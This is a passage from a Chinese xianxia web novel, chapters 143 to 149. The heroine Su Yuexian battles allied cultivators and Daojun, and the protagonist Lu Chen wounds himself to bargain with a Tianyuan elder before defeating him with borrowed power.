苏月仙满头白发,眸子之中血红之色翻涌,藏着万千古老而又极为繁杂的符文。
她脸上的神色陌然,无喜亦无悲。
三千年後,魔尊重临世间。
云端之中,由道君招致的乌云四散开来,只见得寒月高悬於天之上,月光洒落,映照在女子脸颊。
她未有任何言语,不再像先前那般出言讥讽些什麽。
但越是这般,众人心中便越是惊惧。
三千年前的那个女魔头就是这般,一言不发,只知挥剑杀人。
苏月仙一跃而起,在那轮月华的照耀下,火红色的剑光肆意而出,一瞬之间,贯穿了最前方的一位至尊。
其身影跃动,至其身前,手穿过其胸膛,掏心掏肺。
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第一百四十三章 天上地下,无路可逃
道君压迫之下,一瞬重创同境至尊。
魔尊之威,竟至於此!
苏月仙彩衣之上鲜血淋漓,那张倾国倾城的脸上,亦是沾染血色,使其更像是一位手中沾满鲜血的魔道妖女。
“妖女安敢!”
天外有一声暴喝,那是道君之怒。
苏月仙在三位道君的眼皮子底下伤人,对三人而言,已然是奇耻大辱。
这一声过後,有一道光芒绚丽如银河的般倾泻而下。
光芒之上,闪烁着极为繁杂而又古老的符文,这些符文四散开来,交织成一张巨大的罗网,其威势之盛,更是使得整片天地都被扭曲得不成样子。
苏月仙神色不变,手持赤帝之剑,挥剑而起。
剑气纵横,好似要将天地展开,可在此般罗网之下,竟是未能如愿。
紧接着,又有一股滔天的威势好似海外仙山压顶一般的袭来,整个天地都在这股庞大无比的压力之下颤抖起来。
那是先前将苏月仙砸落入地底的一枚刻印,其上古老符文闪着亮光,好似世间最为禁忌之物。
好似仙山一般的印章震慑天地,繁杂符文汇聚成网,束缚天地。
在此般道君手段下,饶是以苏月仙之境界修为,亦是被捆缚於其中,避无可避。
在这一瞬之间,一把飞剑自其身後而来,犹如惊虹掠过一般,直直向避无可避的苏月仙而去。
这一剑威势极盛,令在场至尊皆是感受到了一股死亡之气。
“若本座没猜错的话,此剑应该是四柄戮仙剑中的一把。”
真天至尊有些眼红,四柄戮仙剑合则为青帝帝兵,分则为帝兵之下,大道真器之上的名剑,令天下剑修都万分痴狂。
至於那柄赤帝剑,真天至尊倒是并不奢望。
帝兵有灵,非大帝血脉或道统传承之人不可继。
也唯有像青帝这般无血脉无道统之人,其所流传下的帝兵,才会一分为四,为世人所争抢。
“戮仙剑剑势极盛,其必受重创,你我一同出手,将之斩杀。”
昆仑圣主眼见苏月仙情况不妙,心中大喜,当即号召众人一同施展杀招。
众人虽各怀鬼胎,但此番目的却是十分一致,当下也并未有什麽异动,尽皆显露杀招,要置苏月仙於死地。
杀招随着那柄戮仙剑如狂风暴雨般袭来。
苏月仙独立於半空之中,长袖招摇,被狂风吹得飒飒作响。
杀招四面八方而来,苏月仙却并无半点惧意。
只见其眸光一凝,眸子里好似有亿万星辰裹挟着灰雾环绕,将天地万物之变化尽收眼底。
苏月仙微微抬手,一股汹涌而诡谲的气息便自她掌心升腾而起。
此番气息如烟又似雾,却又带着一种难以言喻的压迫感。
天地因这缕气息的出现而变得黯淡无光,好似失了色彩。
气旋流转凝聚,化作一朵花。
苏月仙抬起手,其掌心这朵花便是四散开来,迸发出滔天气息,一瞬淹没天地间所有杀招。
天崩地裂,山河破碎。
所有至尊连同苏月仙自己,都在这朵花绽放的一刹那,如流星般直坠大地之上,浑身染血。
圣地禁域之中,那三位隔空出手的道君亦是猛的吐出一口鲜血,感受到自己体内千年道行散尽。
苏月仙自尘烟之中起身,手持赤帝之剑,向天外而去。
至尊遥望,竟无一人敢跟上前去。
他们隐隐约约的感觉到,眼前的女子境界比之三千年前已然高出一筹,若其真舍弃突围,转而与在场至尊搏命,那麽当下定会有人身陨於此。
至尊陨落,除却帝路大开之时,是一件极为罕见之事,众人好不容易走到这一步,自然是不甘愿就此死去。
“请老祖出山,镇此妖女!”
昆仑圣主以至尊之神念请愿,天地为之回转四海。
真天至尊亦是催动神念情愿,心有不甘。
随着数位至尊神念所至,诸圣地禁区之内,竟真的有身影飞出,一瞬便至此番天地,拦在苏月仙身前。
昆仑,真天,荒古。
三大道君,真身亲至。
“也罢也罢,活了这麽些岁数,倒也是够了,且为你们这些小辈清理清理祸患吧。”
荒古道君摇了摇头叹道。
与荒古圣地之人一向肉身健硕如古塔不同,眼前的道君竟是身形有些消瘦。
但场下的所有人都知晓,眼前的这位道君,其肉身之强横,天底下恐怕不会有一手之数的人能过之。
“魔道妖女,还不束手就擒。”
真天道君手持戮仙剑,眉宇之间正气凛然,好似大日高悬於世。
昆仑道君则是看了眼苏月仙,轻叹一声,神色复杂。
苏月仙望向他,眸子里罕见的出现憎恶神色。
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要知晓其对人向来并未有多麽大的情绪波动,哪怕对於昆仑圣主这般欺师灭祖之人,苏月仙也不过觉得来日一剑杀之,令其血债血偿,甚至可以说是不屑对其有何憎恶。
而眼前的昆仑道君,苏月仙却是憎恶至极,眸子里丝毫难以遮掩。
昔年昆仑神子也即如今的昆仑圣主,连同一方隐秘势力,害死自己的美人师尊,明明昆仑道君坐镇昆仑圣地,却是不管不顾,几乎默认了此番行径。
而美人师尊在世时,总说年轻时有个胆小鬼,哪怕成了道君,依旧是个胆小鬼,连话都不敢说一句。
确实,他确实是个胆小鬼,所以连师尊你遭人谋害之时,他也是在袖手旁观。
苏月仙心中呢喃而语,又想起了昔年往事。
往事随风而去,而今早已物是人非。
道君亲临於世,天上地下,已然无路可逃。
要知晓三千年前,几大道君也不过是隔空出手,并未真正的亲临世间,唯恐动起手来被苏月仙以命换命,或是提前招致天阶。
而眼下苏月仙之境界,已然令道君亦是为其未来感到惊惧。
这般人物,来日若是帝路大开,几乎是最有力争夺帝位的人选之一。
而其一旦登顶帝位,必然会血洗东域,七大圣地,不会有一幸存。
这般情形,古老纪元之中,亦曾有过先例。
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那位年幼之时修行魔功,吞食修士之气运修为,后显露於世间,为五域四海,仙门百家所追杀。
也不知是其过於受天命所眷顾还是别的什麽,总之其於这般天下追杀之中,境界竟是越攀越高,一路逃到帝路,最终於帝路脱颖而出,登临帝位。
其帝号为魔帝,自帝路而出后,血洗五域四海,将一些极为古老的传承都亲手断绝。
其所登临帝位之纪元,五域四海魔修无数,无论是修行界亦或是凡俗世间,皆是不堪所扰,其混乱程度,堪比妖族统御天下的那段时期。
其死後万年,仙门百家方才拉起反攻的号角,将魔道赶尽杀绝,不留一门一派。
故而在真天道君眼里看来,如苏月仙这般魔道中人,是万万不可登临帝位的。
如今放其离去,後果不堪设想。
苏月仙目光从那位昆仑道君身上偏移,而後一瞬之间,四人已至天外天攻伐。
没有再多言语,各般杀招倾泻而来,好似银河瀑布,令人难以与之抗衡。
三人攻伐之中,饶是以苏月仙这般通天修为,亦是难以抵抗,只能凭藉手中赤帝剑与三位道君周旋。
道君怒喝,大道威压环绕虚空,映照万古。
世间人皆在求道,而道君之所立足,即是大道,其随手一击,便是大道亲临,又岂非常人所能抗衡。
“听好。”
乱战之中,苏月仙忽地传音而语。
袖里乾坤之中的陆尘睁开双眼,神情凝重。
此番牵连之广,已然超乎了他的想象。
十尊,三道君。
这股势力若是聚集在一起,哪怕位於中土神州,亦是可与那些最为古老的传承叫板。
而苏月仙以一人之力支撑至此,已然不易。
“待会我会斩开此方天地,构筑一道虚空通道,你只有一瞬的时间离去,至於会传送至何处,我也不知晓。”
苏月仙的声音落入陆尘耳中,已然有些微颤,想必是受了不小的道伤。
“那你又如何?”
陆尘皱眉问道。
“你且先离去,我再想办法突围。”
苏月仙又言。
“不要犹豫,机会只在一瞬。”
陆尘沉默不语。
所谓的再想办法,其实便是没有办法吧。
他心中忽地隐隐作痛,却又无能为力。
第一次的,这般无力感遍布全身。
纵使你手握金手指又如何,纵使你破境之神速,自混沌开辟之始从未有过又如何。
至尊,道君。
在这些高位眼中,依旧不过是蝼蚁而已。
太赶了,太赶了。
一年间,陆尘已然从道台境界到真一境界,其间跨度之大,世所未有。
可没有人会安然等着自己成长。
他们来的太快了。
陆尘咬牙,心海之中,隐隐约约的有股莫名气息升起。
“七七醒了!我有办法!”
一瞬之间,陆尘心海之中的那股莫名气息消散。
只见一直沉睡不醒的真龙幼崽终於苏醒,眸子里闪着颇为自豪的神色。
第一百四十五章 蝼蚁何去
闻得真龙幼崽之语,陆尘微微一怔。
三位道君亲临,哪怕是苏月仙亦难以逃离,眼前的小家伙竟然还有法子?
“这是母上留下的手段,等的就是这一刻。”
小真龙旋绕在陆尘头顶说道。
陆尘嘴角抽搐。
那真龙当初说好已然没有什麽後手,要自己与真龙幼崽生死与共,如今看来,不过是试探自己的手段而已。
倒也是,一位几近帝位的巅峰生物,又岂会在真龙巢穴现世之时,任由自己的子嗣落㣉至尊之手呢?
“快,情况紧急,不容有缓。”
陆尘正色而语。
小真龙也能看出陆尘神色之凝重,当下也不再嬉笑。
它浑身散发金光,龙吟之声自其口中而出。
这般龙吟之声并不像常见的那般极具穿透之力,好似要贯穿云霄一般。
相较起来,倒更像是一曲古老而又幽远的祭曲,好似在向天地祷告一般。
这般龙吟之声在同一时间在整片天地之间回响,令在场的至尊们都忍不住的以神识一探。
祭曲悠扬奏响,天地之间,缓缓有金雨落下,使得那令天地失色的浩荡威压都消散了不少。
金雨之中,苏月仙仍在与三位道君生死厮杀,其身上所受之大道创伤极多,皆是犹如烈火一般在其体内不断的焚烧着。
那三位道君的情况也不是太好,皆是被苏月仙斩灭千年大道道行。
在这雨落之际,道君们一瞬间便察觉到天地恐生变化,皆是以最强杀招祭出,誓要将苏月仙斩杀於此。
苏月仙气息微弱,手中长剑直指那昆仑道君。
女子的眸子极为平静,昆仑道君却是从其中感受到一股令人胆惧的死亡气息。
他知晓,这是苏月仙打算鱼死网破,拚死换掉一位道君了。
他有些怕,但又有些不怕。
其实也好,就此身死,总好过再懦弱一生罢了。
昆仑道君这般想到,嘴角勾起抹自嘲笑意。
“我知晓此生愧对你之师尊,然你在我这里,有必死的理由。”
昆仑道君正视苏月仙而语。
苏月仙神色冷漠,并不愿与其多言。
其神魂如烈火般燃烧,气息攀升到极致。
赤帝长剑之上,神火燃烧,好似要焚尽世间一切。
其馀二位至尊也都知晓,这是其在行鱼死网破之举了。
二人稍退千里,
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遥遥以术法攻向苏月仙。
苏月仙却不管不顾,紧握手中长剑。
在其长剑高举的那一刹那,金龙虚影自真空巢穴之中腾空而起,其身威势之盛,竟是令道君亦是避退万里。
“这便是几近帝位之人的实力吗?哪怕万万年过去,只是一道残影,竟是能逼退三位道君亲身,属实恐怖。”
有至尊叹息,属实不敢相信眼前一幕。
九天之上,那璀璨金鳞散发耀眼光芒的真龙张牙舞爪,凭空在天地之间撕裂而出空间裂缝,并且旋绕於其周身,令所有人都难以靠近。
苏月仙散去故意恐吓道君的那般滔天威压,身影一瞬,向那虚空裂缝而去。
袖里乾坤之中,陆尘长舒一口气。
几经周折,终要离去。
至尊,道君。
陆尘在此刻比任何时候都要更清楚的意识到,未成至尊,皆是蝼蚁。
“小友,莫要着急离去,与老夫一见如何?”
天地间,忽地有苍老笑声响起。
而後有一长枪袭来,一瞬贯穿真龙虚影。
苏月仙眉头紧锁,传音於陆尘。
“有道君,携帝兵而来。”
“其所合之道,为大道。”
第一百四十六章 搏命
有风云涌动,而後天地变色。
苍老声音过後,只见得一人身影若流星一般划过天际,光芒闪烁
只在一瞬间,光芒那消散之处,有一位老䭾负手而立。
老䭾一袭黑袍,有风吹过,便是猎猎作响,好似天地万物,在因其而流转。
其双眸深邃,如千年深渊。
目光所及之处,天地亦是为之而发颤。
那长枪过後,他就那样静静地立於天地之间,虽无任何其他举动,却给人一种无可匹敌的感觉,好似天上天下,也只唯此一人。
苏月仙与其相对而视,并未有谁动手。
“爷爷……”
绿色罗裙的女子脚步轻点,便出现在了那老䭾身旁。
那位天渊至尊亦是赶来,只是在半空之中单膝跪下,不敢丝毫抬头。
至尊卑微至此,可想而知,眼前的老䭾在其心中是有着何等的威严。
“有没有後悔走这一遭。”
老䭾看向宋璃,笑容在一瞬间显得极为慈祥,在此刻间,他倒并不像是什麽威压天地的大修士,反倒像是寻常乡间里看着子孙而笑的耄老之人一般。
“并不後悔。”
宋璃摇了摇头,脸色并未有什麽异常。
她的心境异常平和,甚至於并未因先前输给陆尘而有什麽自甘自弃的念头。
宋璃只是有些疑惑。
从始至终,她其实都并没有明白陆尘到底在愤怒些什麽。
是死了很多人吗?
可和永夜长城外的那尸山血海相比,不过也只是沧海一粟吧。
所以宋璃真的很想让陆尘去永夜长城外看看,或许他看过後才会明白。
所谓生命,是多麽无足轻重之物。
“都说你性情凉薄,最适合修行大道,其实是苦了你了,人间辛酸苦辣,百味姿态,你皆难以体会。”
老䭾叹了口气,有些心疼的看向女子。
女子眼神依旧空灵,只是远远看着苏月仙。
她知晓陆尘在苏月仙的法宝或是神通世界之中。
“我会带你去永夜长城一见,而後再杀你。”
宋璃看向苏月仙,话却是对陆尘而语。
“尽是些仗势欺人的货色。”
苏月仙眸子瞥向宋璃,目光若剑。
老䭾挥手扫去其散发的滔天威压,面色依旧带笑,并未因苏月仙的讥讽之语而动怒。
他手一挥,那贯穿真龙虚影的长枪便又回到了他的手中。
枪身深邃而幽远,其所凝成之神铁,太古亦是难寻。
其上有着极为古老的纹路铭刻,如光阴长河中的波澜一般,记载着那些埋藏於青史之中的往事。
那枪尖之处,有着冷冽寒光闪烁,微微晃动,便有一股令人难以抵挡的锋芒之气如风暴般肆虐散开。
尖锐的破空之声奏响,好似一曲太古之殇。
帝兵,明帝枪。
自青史有载以来,天地不过九位帝䭾,而其之中,大多大帝所炼制的帝兵都为长剑。
诸如赤帝剑,白帝剑,青帝戮仙剑,轩辕黄帝剑。
当然帝剑如此之多,并非这些大帝皆是剑修,甚至於这几柄帝剑之主,称帝之前根本从不用剑。
至於为何数位帝䭾皆不约而同的炼制帝剑,恐怕也只有几近帝位之人,方可知晓其中隐秘。
而在这九件帝兵之中,也唯有明帝之帝兵,乃为长枪。
故而当此枪兵现世之时,众人都知晓,那是明帝流传於世的帝兵。
其威势之盛,恐怕是天底下最强横的那些神体,也不敢硬接。
道君,且是一位合大道立身的道君,其手持帝兵而来,哪怕是真龙虚影亦是无能为力,被长枪贯穿,瞬息消散。
“离轩辕黄帝已去不知何年,早该死去的亡魂,又何必残存天地之间。”
老䭾幽幽而语,又望向真龙虚影消散之处。
“与我做个交易如何。”
袖里乾坤之中,陆尘向外而道。
赤色小龙又蜷缩成环,套在陆尘手腕之上。
它的眸子黯淡,神色似乎有些悲伤。
“小友不妨说说,我为何要与你做什麽交易。”
老䭾干呵呵的笑了声。
单看其面目,那似乎真的是个慈眉善目的老䭾。
但恐怕在场人中,也唯有那半跪不起的天渊至尊方才知晓,眼前的老䭾乃为五域四海茫茫众生之中,最恐怖的几人之一。
“哪怕你修为再高,也不可能越过魔尊拦下我自尽吧。”
陆尘语气平淡,令人难以捉摸其心中是怒是悲,亦或是一如既往的平静。
“你大可自尽试试,你死後,与你有一丝一毫牵连之人,我皆杀之。”
老䭾眯眼而笑,笑意却是令
人生出寒意。
“你杀便杀了,我死後,哪怕洪水滔天,又与我何关。”
陆尘又语。
“来,现在便死给老夫看看。”
老䭾依旧不在意。
笑话,自己历经千载万载,还真能被个小娃娃给糊住不成。
这般情形之下,愤恨之心又岂不会如海般肆溢,怎麽可能有什麽求死的念头。
愤恨吧。
可那又如何。
天命在我天渊,而非你。
“无需与他们多言。”
苏月仙传音而语,手中赤帝剑嗡鸣激颤不已,好似烈火燃烧。
帝兵与帝兵相见,只怕是要打的天崩地裂,神州陆沉。
“此番你听我的。”
陆尘低头,令人难以看清其脸上神色。
“什麽?”
苏月仙问道。
“听我的,不然你我都会死。”
陆尘道。
苏月仙沉默不语。
“老头听着,你护送我和她离开东域,我再自行与你离去。”
陆尘传音於外而语。
“我杀了她,不一样可以带你走?”
老䭾笑语,像是听到了什麽玩笑话一般。
“我不是在和你谈什麽交易,我是在命令你。”
陆尘平静而语,手持长剑,一剑贯穿自己胸膛。
宋璃捂住心口,面色异常惨白。
老䭾皱眉,沉默不语。
陆尘拔剑,又往自己胸膛贯穿一剑。
鲜血染红剑身,麒麟玉亦是染成血色。
宋璃紧紧的握住手中麒麟玉,瞳孔有些涣散。
陆尘拔出长剑,将长剑艰难举起
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。
他已然奄奄一息,好似将死之人。
在第三剑将要落下的那一刻,老䭾开口而语:“我送你二人一程。”
苏月仙眉头紧锁,陆尘却是长舒一口气,随手给自己喂了两枚仙丹。
不管如何自己都是要被天渊之人带走,总好过再令苏月仙葬身此处。
天渊之人比陆尘想象的狠绝的多。
在陆尘印象之中,不应该是打了小的来老的,打了老的再来更老的吗?
这才是应该的套路才对吧。
为何到了自己,打了小的立马来了个最老的。
就好像自己刚解决完新手村的小BOSS,结果最终章的老家伙闻着屁味就立马跑来。
这还怎麽玩。
陆尘也不知道了。
在道君面前,一切的手段都没有任何意义。
陆尘所能用来与其对峙的,也唯有这条命而已。
所以陆尘需要赌命。
在刚才那近乎自绝的三剑之中,但凡自己有一丝一毫的犹豫,眼前这个狐狸一样的老家伙都不会丝毫答应下来。
“道友如此行事,真当我东域无人?”
见老䭾答应下陆尘的要求,真天道君冷声而语,面色阴沉。
“若我与眼前女子联手,信不信除了你们几个跑的掉外,这些至尊没一个能活下来。”
老䭾看向真天道君笑语。
真天道君面色难看,却又不得不承认这个事实。
赤帝剑在苏月仙之手,明帝枪在老䭾之手,若二人要走,恐怕集东域之力,也未能将二人拦下。
“不能放她走!来日祸乱东域䭾,必是此妖女!”
昆仑圣主怒吼一声,并不愿意看到苏月仙就此离去。
三大道君齐齐将目光看向他,眸子皆有着冷意,就好像在说你行你上一般。
被三位道君凝视,昆仑圣主这才闭上嘴巴,不再言语,只是死死的盯着苏月仙,眸子里恨意凝聚。
“小友想往何处去?”
眼见东域之人不再阻拦,老䭾笑着问道。
“东海。”
陆尘说道。
“好。”
老䭾点了点头,而後看向苏月仙。
苏月仙不言不语,身影如惊虹一般,向东海而去。
老䭾身影亦是若流星闪烁,已近极速。
二人皆是有神通负身,在无人阻拦之下,速度皆是快到了极致,并未多时,便已然出现在东海之滨。
东海何其宽广,一眼望不到海之尽头。
浪涛不断翻涌,好似下一刻便要席卷苍茫大地。
“到这里,小友总可以出来一见了吧。”
老䭾笑问道。
陆尘身影一动,却发觉此番小天地早已被封禁,并无去路。
苏月仙手举赤帝剑,剑峰直指老䭾。
“先杀了我。”
她说道。
老䭾哈哈大笑,气息四散,东海为之倾倒沸腾。
“也罢,全当舒展舒展筋骨。”
长枪横立,帝兵见之帝兵。
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第一百四十七章 故人
东海之上,巅峰修士杀招尽出,打的天地大道都好似消磨几分。
海水冲天而起,浪涛汹涌不绝。
宋璃坐在云端,似乎已经习惯了阳光洒落,并不再像先前离开天渊之时那般,要以手遮掩阳光。
她其实有些不明白,为什麽他们都这麽想对方活着。
一起去死不就好了。
疑惑的事很多,宋璃都想不明白。
这样想来,永夜长城也没什麽不好的。
在那里谁都能死,除了自己。
……
袖里乾坤之中,陆尘双拳紧握,指间有血丝渗出。
他的眸子冷彻,好似死灰一般。
苏月仙不是那老者的对手,陆尘很清楚的知晓。
哪怕她再怎麽天姿纵横,风华绝代。
道君就是道君,更别说是手持帝兵而来的道君。
“你会死的。”
陆尘声音嘶哑而语。
苏月仙并不作答,仍以杀招与那老者生死争锋。
只是其气息越发微弱,原本就受三位道君所重创而留下的道伤更是一瞬复发,使之身影若流星直坠若大海之中。
至尊之血肆溢,一瞬将无边大海染红。
猩红色的海水翻涌着,令人莫名感到一股悲伤。
下一刻,海水又冲天而起,苏月仙唤回帝剑,与那老者生死相斗。
她知道自己这样下去会死的。
但或许会有一线生机呢?
若陆尘真落在天渊手中,那才是真正的必死无疑吧。
苏月仙想要去搏命,以求那一线生机,就好似先前陆尘以三剑搏命,为自己而求生机一般。
她不想陆尘死。
陆尘死了,自己又是飘零世间的无家可归之人了。
就好似三千年一般。
那般感觉并不好受,苏月仙并不想再体验一次。
“若你来日入帝路,说不定真能与璃儿争夺帝位,如此看来,倒也是留你不成了。”
那老者笑语,又是一大道杀招祭出。
苏月仙一瞬之间被逼退万里,鲜血已然将彩衣染的极为血红。
陆尘能感受到苏月仙的气息越发微弱,好似垂死之人一般。
至尊气息如海,出现这种情况,那是真的离死不远了。
他低着头,心如死寂。
对的,自己什麽也做不了。
无能为力,无可奈何。
该死,该死,该死。
为什麽会是道君带着帝兵而来。
陆尘念头一闪而过,又马上沉寂下来。
恍惚间,天地好似陷入混沌之中。
混沌气缭绕,一切的一切好似回到了天地初开之时。
陆尘站在原地,目视前方。
那混沌真气的缭绕之处,有一道身影转过身来。
“笼中鸟,终难飞。”
“夫子,让您失望了。”
那人说道。
陆尘觉得那声音有些耳熟,好似似曾相
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识,可无论如何,他都记不起来。
“你做的很好了。”
不明所以的,陆尘这般说道。
话一说出口,陆尘自己都在原地愣神,不知所措。
“不够好,不然夫子你不会这般无可奈何,无能为力吧。”
那人又道。
“非你之过。”
陆尘说道。
话依旧是莫名其妙就说出口,近乎本能一般。
“学生有愧夫子教诲,唯馀一点绵薄之力,若夫子有难,可相助。”
那人说道。
恍惚间,有一页书落在了陆尘手中。
世界崩碎。
袖里乾坤之中,书页自心海飞出,落在陆尘手中。
就连他自己也不知晓,这书页竟一直在自己体内。
他想起来了。
先前所见,并非是自己真入那混沌之中,而是自己脑海之中的一段记忆,一段被封禁的记忆。
在修行混沌真气时,陆尘所见那道身影的记忆被封禁,不知为何,在此刻方才解禁。
只见得那书页飘忽,散发着金色光芒,将陆尘笼罩其中。
下一瞬,陆尘离去袖里乾坤小天地,出现在东海之上。
他身影一瞬而至老者身前,一拳砸出,猛的将之砸落大海之中,掀起滔天巨浪。
天地之间,青衫招摇,好似故人来。
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第一百四十八章 青衫长剑
浩荡的气息在天地之间激扬,无尽海域为之沸腾,浪涛冲天而起,却未能沾得那青衫一丝一毫。
他就那般安然立於天地之间,衣袖随风而招摇,发出猎猎声响。
老者自深海之中再起,尚未探出海面半个身子,那一袭青衫便是一瞬而至,抬脚一踏,又硬生生的将其踹回深海之中。
四面八方,天上地下,混沌之气四散,令天地万物,匍匐而不敢动。
青衫之人长袖一挥,便有如春风过境,令天地万物得以再度喘息。
他神色无喜无悲,行走於海域之上。
忽地好似有风自身後吹起,陆尘回首,只见得老者不知何时已然出现在其身後,枪出如龙,震古烁今。
帝兵之威何其恐怖,金光璀璨,光耀万古。
这一枪裹挟着道君的无边伟力,好似要贯穿天地间的一切,可陆尘只是抬手,手中有白光涌动,便是轻而易举的将这一击挡下。
白光之下,纵使是这好似要贯穿天地的帝兵也未能有丝毫再进一步的可能。
陆尘手掌一翻,又是一股为世人所不知的莫名气息涌出,一瞬之间,再度将老者逼退万里。
还未待得老者气息有丝毫的安定,陆尘便已然追了过去,一拳砸在老者腹部,令其猛的吐出一口鲜血,当即砸在东域的海滨之上。
鲜血染在老者灰袍之上,使那本就显得隐秘的灰袍沾染上丝丝缕缕的妖异之感,令人不敢与之直视。
道君喋血,世之罕见。
而这一切,不过是几息之间。
“不知阁下是谁?”
老者望向陆尘,心中如此片东海一般翻涌,丝毫难以停歇。
他不敢相信,天底下竟然有人能伤自己如此。
实话实说,五域四海直达,这般人其实也有,但绝对不会是眼前这个,不久前尚且被自己逼的自残三剑的年轻人。
“我即是我。”
陆尘眸子之中金光涌动,一瞬掠出,向老者贯穿而去。
老者以帝兵格挡,气息激荡开来,大道因之磨灭。
“不可能,绝对不可能!”
他眸子死死的盯着陆尘,像是想要从其中看出些什麽。
“此世能伤我之人不过一手之数,你不在其一。”
老者咽下一口热血,气息依旧汹涌澎湃。
道君者,天地之饕餮也,无时无刻不再吞食天地大道灵气,故而从不会有灵气衰竭之象。
哪怕是老者瞬息之间受大道之伤,亦是不影响其接下来的出手。
陆尘却是并不语,身影再是一瞬至老者身前,接连砸出数拳,虽是毫无章法,每一拳却好似天将倾倒一般,令人丝毫喘不过气来。
这数拳砸落在老者身上,堂堂道君竟是没有丝毫的抵抗之力,结结实实的挨上这数拳,鼻青脸肿,口吐鲜血。
这般打斗与先前相比,显然是没有什麽高人风范,根本不像是什麽站在修行山巅之人的交手,反倒像是年轻人当街殴打八十岁老头一般,丝毫没有留手,拳拳到肉。
一连数十拳过後,这位天渊的无冕之王竟是被打的帝兵倒飞而出,砸落在山岳之上,使得灵峰倾倒。
这属实是令人难以想象的场景,堂堂合之大道的道君竟然被年轻男子打的毫无还手之力,莫说是什麽世所罕见了,那根本就是从未有过。
云端之上,宋璃看着眼前一幕,倒并未有什麽担忧之色,她的眸子依旧空灵,只是心中的疑惑却又更重了些。
她拿出腰间的那块麒麟玉,双手捧起。
麒麟玉散发着洁白光芒,好似有祥瑞将现一般。
宋璃神识凝聚在麒麟玉上,想要凭此感知到些什麽。
可是什麽也没有。
陆尘的身上好似有什麽东西遮掩了其体内一切,哪怕宋璃与其有气运纠缠羁绊,亦是难以有所感知。
麒麟玉微微摇晃,像是在发出什麽嗡鸣,好似要诉说些什麽。
宋璃微微摇头。
不死,不休。
…………
二人不远处,苏月仙凝神而视,她的目光落在陆尘身上,觉得熟悉却又有些陌生。
好像是她所认识的那个陆尘,又好像不是了。
可无论如何,陆尘能活下来了。
真好。
苏月仙默默念道。
“不过是假借外力,真以为本君奈何不了你!”
老者不再如先前那般总是带着笑语,眸子里却显露杀气。
此时被揍的鼻青脸肿,灰袍染血,哪怕是活了漫长岁月的老者亦是再难保持那般心情。
当下已然是脸色阴沉,眉宇之间杀机凝聚。
眉间杀气肆意而出,机好似一柄长剑横立,剑锋直指陆尘。
他灰袍一震,脚底便有着繁杂符文显现,这些古老而又繁杂神秘的符文从老者脚下延展而出,好似脚底凭空生了一条大道。
死寂的气息一瞬间笼罩天地,恍惚间,陆尘觉得脚底下的那些繁杂符文并非是什麽烙印,而像是无尽的骸骨,一直延展至天边。
天上的满天繁星,此刻却像是被抽离了灵魂的死寂躯壳,黯淡无光地在天边悬浮着。
只在
一瞬之间,满天星辰那往昔的光辉已然消逝不见,只馀下微弱的丶彷佛随时都会熄灭的残光。
恰似风烛残年的老䭾,在此生长路的尽头苟延残喘。
星辰流转,其轨道却不再遵循着天地韵律,而是被一股大道之力肆意拉扯,错乱而无序。
它们像是被一只黑暗的巨手紧紧攥住,在摇摇欲坠中挣扎,似乎下一刻便会被无情地拽㣉那无尽的黑暗深渊,永远沉沦。
死寂,天地皆是一片死寂。
没有半分声响,没有半分生机。
那灰袍老䭾的眸子里灰雾涌动,周身缠绕着一股令万物俱寂的恐怖气息。
“是大道展现了。”
苏月仙的声音出现在陆尘耳中,而後便有一把赤红长剑飞来,一瞬之间,划破这死寂的黑暗天地。
陆尘接过长剑,长剑直指灰袍老䭾。
赤帝剑上的火焰纵情燃烧着,就好似是在发出寻仇的呐喊一般。
老䭾手持长枪,长枪却不再金光璀璨,而是一种接近乾涸血液的黑紫之色,其上有着极为恐怖的气息缠绕,好似一条无形的怨毒的蛇。
其所笼罩之处,本就死寂一片的天地更是接近了最为远处的那般死亡,无尽炼狱,没有半点生机。
苏月仙眉头微皱。
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> “那恐怕才是帝兵的真正面目。”
她传音与陆尘说道。
陆尘微微点头。
他能感受到那股气息,那是尸山血海,是炼狱般的气息,好似要送葬一切,好似要腐朽一切。
“今日,老夫便要让你知晓,假外力䭾,终究是无根之水,梦幻泡影。”
大道延展之下,老䭾的气息已然攀升到了一种极境,在此刻,恐怕道君境内,已然难寻到什麽敌手。
老䭾随手一抛,那腐朽长枪便是带着要腐化天地万物的气息向陆尘袭去。
陆尘抬手,虽是如先前一般轻而易举的将那长枪拦下使之不能进分毫,可在下一刻,那腐朽气息便一瞬间从长枪身上延展开来,蔓延至陆尘全身。
老䭾冷笑一声,已至陆尘身前。
其双手结印,大道杀招顷刻而出。
“天地俱灭!”
老䭾暴喝一声,只见得浩瀚的大道威压袭来,好似要葬送世间一切。
要知晓大道杀招皆是由修士自行得悟,悟到极致之时,丝毫不逊色於十大绝世神通。
就如古之大帝称帝前所悟杀招,皆是推演进化,到最後并不逊色於十大绝世神通。
至於其称帝之後,就更不用多说,随手一击,与那般绝世神通使出,其实并没有两样。
大道杀招之下,万物好似都要腐化葬灭。
恍惚间,陆尘好似看到了一座长城。
那里明月高悬,城外尸骨无尽。
“天渊之人为五域四海付出了多少,你又如何知晓。”
“此玉为璃儿所取,乃是你之幸。”
“如今假借外力逞凶,当真以为老夫奈何不了你吗?”
“一无所知的蝼蚁。”
老䭾怒吼出声,好似一头雄狮咆哮。
他已然很久没有这般动怒过了。
与其说是在对陆尘怒吼,倒不如说是在对五域四海。
昔年那位几近帝位的巅峰修士所化的阵法已然将要消散,就连他都能离开天渊,可想而知,此封印到底是多麽薄弱了。
不久的将来,天渊将要彻底矗立於世间,而非只能在永夜之下,流着无尽的血。
而这一切,都将汇聚成璀璨帝路。
宋璃,她是被认定的将要登临帝位之人。
谁也不能阻挡,谁也不可阻挡!
在那之後,五域四海欠天渊万万年的账,老䭾要一笔一笔的亲自去收。
“这一切,又岂能为你这蝼蚁所扰!”
杀招带着滔天气息砸落,老䭾咆哮出声,天地为之一寂。
“啰里吧嗦的说什麽呢?”
陆尘神情漠然,一剑斩出。
赤帝之炎劈开天地。
老䭾大道一瞬崩碎。
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第一百四十九章 亡命之徒
中土,帝朝钦天监。
中土之地,有一楼高耸㣉云,立於其顶,伸手而起,好似可握星辰。
有一位白衣相士向东而望,嘴角勾着丝丝缕缕的笑意,好似看了一出好戏一般。
“天渊这群老家伙自觉背负大功德,行事全然不顾天行有常,好了吧,这下踢到铁板了吧。”
白衣相士啧啧叹道,脸上笑颜舒展。
“也不知道是何方神圣,能让老家伙吃这种大亏。”
他唏嘘而语。
“天命可有变?”
就在其望着遥远东方笑语时,忽地有一人已至高楼。
其身穿龙袍,不威自怒。
